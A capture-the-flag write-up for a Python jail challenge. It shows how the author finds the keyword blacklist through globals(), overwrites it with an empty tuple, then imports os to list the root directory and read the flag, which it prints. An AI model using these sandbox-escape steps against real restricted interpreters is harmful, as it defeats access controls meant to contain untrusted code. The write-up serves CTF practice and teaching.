"as" "df"

Challenge Description: Why use a python interpreter when there are online ones?
Challenge Author: The Mythologist
NetCat: nc fun.chall.seetf.sg 50002

In this challenge, we want to retrieve the flag from the online interpreter provided.
Upon entering the NetCat command into cmd.exe, the following screen appears:

```
Hello! Welcome to my amazing Python interpreter!
You can run anything you want, but take not, there's a few blacklists!
Flag is in the root directory, have fun!
Enter command:
```

Notice: **THERE ARE BLACKLISTS**. This is a jail-break challenge.
Since this is a PWN challenge, we want to retrieve the flag from the root directory provided over the network.
We may first attempt using "os", or define some function to navigate the directories, or just test out a 'for' loop to explore what commands have been blacklisted.

```
Enter command: print("a")
a
Enter command: print(a)
Your input sucks :(
Enter command: meh
Your input sucks :(
Enter command: os.system('dir')
Nein!


Ncat: An established connection was aborted by the software in your host machine. .
```

```
Enter command: def f(x):
Nein!


Ncat: An established connection was aborted by the software in your host machine. .
```

We can thus infer that a bad input returns "Your input sucks :(" but *allows you to continue using the interpreter*, but an input with **blacklisted keywords** kicks you out. We can guess that there is a data structure in the program storing the set of keywords. To find it, we use `globals()` to view all information stored in the program.
`globals()` returns a dictionary, with keys of variable names, or function names etc, and their values.

```
Enter command: print(globals())
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoade
r object at 0x7fc423e7bc10>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '_
_file__': '/home/random/asdf.py', '__cached__': None, 'sys': <module 'sys' (built-in)>, 'blacklist': ('eval', 'exec', 'i
mport', 'open', 'os', 'read', 'system', 'write', ';', '+', 'ord', 'chr', 'base', 'flag', 'replace', ' ', 'decode', 'join
'), 'user_input': 'print(globals())'}
```

Clearly, there exists a tuple `blacklist`. Cross-checking with the tested input above verifies that keywords are checked against this tuple, such as 'os' and ' '.
Since the interpreter **must** check each input against `blacklist`, we can assume removing `blacklist` from the `globals()` dictionary may cause the program to crash. Instead, we shall re-assign `blacklist` to an empty tuple.

From there, we can execute the basic `os` methods to find the file in the root directory containing the flag.

```
Enter command: blacklist=()
Enter command: import os
Enter command: os.chdir('/'); print(os.listdir())
['tmp', 'home', 'root', 'run', 'lib', 'lib64', 'sbin', 'media', 'sys', 'etc', 'usr', 'proc', 'srv', 'var', 'mnt', 'opt',
 'bin', 'boot', 'dev', 'flag']
```

We now open the file and retrieve the flag :D

```
Enter command: with open('flag', 'r') as f: print(f.read())
SEE{every_ctf_must_have_a_python_jail_challenge_836a4218fb09b4a0ab0412e64de74315}
```